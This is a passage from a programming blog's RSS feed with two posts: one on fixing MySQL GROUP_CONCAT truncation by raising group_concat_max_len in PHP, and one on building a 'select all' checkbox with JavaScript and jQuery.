		<description><![CDATA[I recently encountered an issue where my MySQL query was returning truncated results&#8230; and by truncated I mean it was returning only a fraction of the rows it should have been returning and the last of those rows was actually missing data. The query in question uses a few LEFT OUTER JOIN(s) and the GROUP_CONCAT [...]]]></description>
			<content:encoded><![CDATA[<p>I recently encountered an issue where my MySQL query was returning truncated results&#8230; and by truncated I mean it was returning only a fraction of the rows it should have been returning and the last of those rows was actually missing data.</p>
<p>The query in question uses a few <a href="http://dev.mysql.com/doc/refman/5.0/en/join.html">LEFT OUTER JOIN</a>(s) and the <a href="http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_group-concat">GROUP_CONCAT</a> function to eliminate duplicate results due to a many-to-one relationship as shown below:</p>
<p><a href="http://madproject.com/wp-content/uploads/2011/07/schema.png"><img src="http://madproject.com/wp-content/uploads/2011/07/schema.png" alt="" title="schema" width="320" height="295" class="alignnone size-full wp-image-105" /></a></p>
<p>Turns out that the results were getting truncated due to a GROUP_CONCAT memory limitation configured by: <a href="http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_group_concat_max_len">group_concat_max_len</a></p>
<p>I therefore had a few options:</p>
<ul>
<li>Remove GROUP_CONCAT from the query and deal with the duplicate results programmatically</li>
<li>Split up the query in perhaps 2 or 3 individual queries</li>
<li>Overwrite the group_concat_max_len variable in PHP for the session</li>
</ul>
<p>I chose the latter by adding the following snippet in my DB configuration file.</p>
<pre class="brush: php; title: ; notranslate">
if (!mysqli_query($link, 'SET SESSION group_concat_max_len = 102400;')) {
	$error = 'Error setting group_concat_max_len: ' . mysqli_error($link);
	include $_SERVER['DOCUMENT_ROOT'].'/error.html.php';
	exit();
}
</pre>
<p>I ended up setting the value to 102400 bytes which was about the max size I could foresee the group_concat having to process. </p>
<p>You can check your MySQL value was by running the following in the terminal:<br />
<code>$ mysqld --verbose --help</code></p>
<p>Hope this helps someone!</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/programming/mysql-query-returning-truncated-results-could-be-because-of-group_concat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Checkbox select all</title>
		<link>http://madproject.com/programming/jquery-checkbox-select-all/</link>
		<comments>http://madproject.com/programming/jquery-checkbox-select-all/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 03:17:11 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=99</guid>
		<description><![CDATA[Ever wanted to allow a user to click the Select all checkbox and have all the checkboxes magically have checks in them? You might want to do that if you have lots of options, especially if your checkboxes are being generated dynamically from information pulled from a database. The latter is what prompted me to [...]]]></description>
			<content:encoded><![CDATA[<p>Ever wanted to allow a user to click the <strong>Select all</strong> checkbox and have all the checkboxes magically have checks in them?</p>
<p>You might want to do that if you have lots of options, especially if your checkboxes are being generated dynamically from information pulled from a database. The latter is what prompted me to add a select all button to one of my web apps. So like any developer who&#8217;s first, second or even third language isn&#8217;t Javascript, I fired up Google and searched for a solution. </p>
<h2>The initial solution (not so good)</h2>
<p>After copy pasting a bit of code here and there, I came up with a basic solution that uses <a href="https://developer.mozilla.org/en/DOM/document.getElementsByName">document.getElementsByName</a></p>
<p>The Javascript looked like this:</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot;&gt;
  function toggle(source,tgt) {
    checkboxes = document.getElementsByName(tgt);
    for(var i in checkboxes) checkboxes[i].checked = source.checked;
  }
&lt;/script&gt;
</pre>
<p>The html:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;input type=&quot;checkbox&quot; onClick=&quot;toggle(this, 'product[location_id][]')&quot; /&gt;Select All&lt;br/&gt;
</pre>
<p>Now this worked fine until I tested it in IE. Dreaded IE! Turns out it doesn&#8217;t work because of an <a href="http://webbugtrack.blogspot.com/2007/08/bug-411-getelementsbyname-doesnt-work.html">IE bug that doesn&#8217;t like document.getElementsByName</a></p>
<h2>The best solution</h2>
<p>So back to the drawing board or should I say Google. That&#8217;s when I found this gem: <a href="http://briancray.com/2009/08/06/check-all-jquery-javascript/">http://briancray.com/2009/08/06/check-all-jquery-javascript/</a></p>
<p>It uses <a href="http://jquery.com/">jQuery</a> which is a Javascript library. The brilliance is that it requires very little code upfront and it uses the fieldset html tag to wrap the checkboxes that you wish to check/uncheck with your select all checkbox. Therefore you can easily have many different checkbox groups with their own select all checkbox on the same page without any mixups.</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/programming/jquery-checkbox-select-all/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

